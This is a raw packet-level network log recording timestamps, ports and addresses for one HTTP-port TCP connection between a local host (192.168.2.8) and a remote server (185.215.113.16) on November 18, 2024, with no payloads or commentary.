Nov 18, 2024 13:29:45.496992111 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.497067928 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.497086048 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.497109890 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.497138977 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.497287989 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.497972965 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.497996092 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.498008966 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.498119116 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.534574986 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.534630060 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.534645081 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.534707069 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.534720898 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.534738064 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.534754992 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.534785986 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.534815073 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.534848928 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.534863949 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.534878969 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.534979105 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.534991980 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.535005093 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.535007000 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.535048962 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.535048962 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.573471069 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.573515892 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.573528051 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.573551893 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.573668003 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.573682070 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.573698044 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.573699951 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.573720932 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.573725939 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.573735952 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.573749065 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.573751926 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.573765039 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.573796988 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.573796988 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.573936939 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.574105024 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.574136972 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.574182034 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.576064110 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576087952 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576100111 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576118946 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.576199055 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576212883 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576225996 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576235056 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.576242924 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576272011 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.576359034 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576373100 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576389074 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.576405048 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.576513052 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.576631069 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576653004 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576672077 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576684952 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.576800108 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576812983 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.576828957 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.576940060 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.577011108 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.577090979 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.577105045 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.577116966 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.577116966 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.577131987 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.577142954 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.577161074 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.577192068 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.577192068 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.577229023 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.577480078 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.577503920 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.577516079 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.577539921 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.577590942 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.610074043 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.610112906 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.610126972 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.610142946 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.610229969 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.610498905 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.610551119 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.610563040 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.610586882 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.610636950 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.610650063 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.610671043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.610713959 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.610713959 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.610956907 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.611000061 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.611013889 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.611027956 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.611114979 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.611129045 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.611141920 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.611144066 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.611159086 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.611188889 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.611188889 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.611217022 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.611244917 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.611267090 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.611279964 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.611290932 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.611330032 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.611330986 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.611479998 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.612711906 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.612777948 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.612788916 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.612808943 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.612844944 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.612859011 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.612873077 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.612874985 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.612900972 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.612972975 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.613074064 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.613168955 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.613187075 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.613198996 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.613203049 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.613270044 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.613270044 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.613312006 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.613362074 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.613373995 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.613385916 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.613399982 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.613459110 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.613459110 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.613938093 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.613951921 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.613965034 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.613975048 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.614005089 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.614005089 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.614077091 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.662569046 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.662597895 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.662610054 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.662688971 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.662688971 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.662695885 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.662787914 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.662800074 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.662817955 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.662833929 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.662858009 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.662945986 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.662960052 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.662972927 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.662972927 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.662996054 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.663152933 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696398020 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696423054 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696435928 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696448088 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696463108 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696470022 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696494102 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696511030 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696511984 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696521997 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696535110 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696547985 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696558952 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696639061 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696652889 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696655989 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696670055 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696681023 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696696043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696742058 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696758032 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696813107 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696826935 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696892023 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696892023 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.696938038 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696950912 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696968079 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696985960 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.696997881 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.697065115 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.697155952 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697170019 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697184086 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697196960 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697211981 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697223902 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697227955 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.697242975 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.697438002 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.697798014 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697809935 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697825909 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697854996 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.697895050 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.697926998 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697941065 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697952986 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.697967052 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.698024035 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.698024035 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.698071003 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.698084116 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.698112965 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.698229074 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.727169037 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.727256060 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.727499962 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.727605104 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.727777958 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.727821112 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.727833033 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.727849960 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.727881908 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.727885962 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.727900028 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.727926970 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.727953911 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.728135109 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.728724957 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.728777885 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.728790998 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.728817940 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.728831053 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.728844881 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.728857994 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.728857994 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.728888035 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.728888035 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.728934050 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.729000092 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.729016066 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.729027987 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.729036093 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.729043961 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.729057074 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.729058981 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.729068995 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.729074955 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.729089975 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.729124069 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.729124069 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.730161905 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730210066 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730221987 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730223894 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.730268955 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.730304003 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730318069 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730346918 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.730397940 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730411053 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730428934 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.730444908 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.730519056 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730531931 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730539083 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730560064 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.730575085 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.730601072 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.730624914 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730729103 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730742931 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730756044 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.730767012 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730778933 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.730792999 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.730803013 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.731146097 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.769213915 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.769229889 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.769237995 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.769386053 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.769418001 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.769432068 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.769505978 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.769520044 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.769536018 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.769567013 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.769577026 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.769596100 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.769643068 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.779968023 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.779982090 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.779993057 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.780062914 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.780062914 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.780077934 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.780091047 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.780102015 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.780128002 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.780424118 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.808089018 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.808104038 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.808115005 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.808218002 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.808218002 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.808320999 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.808335066 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.808729887 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.810959101 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811012030 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811026096 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811074972 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811088085 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811100006 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811100960 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.811126947 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.811132908 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811146021 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811199903 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.811233997 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811247110 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811259985 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.811317921 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.811459064 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811517954 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811528921 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811588049 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:45.811594009 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811606884 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:45.811616898 CET	49829	80	192.168.2.8	185.215.113.16
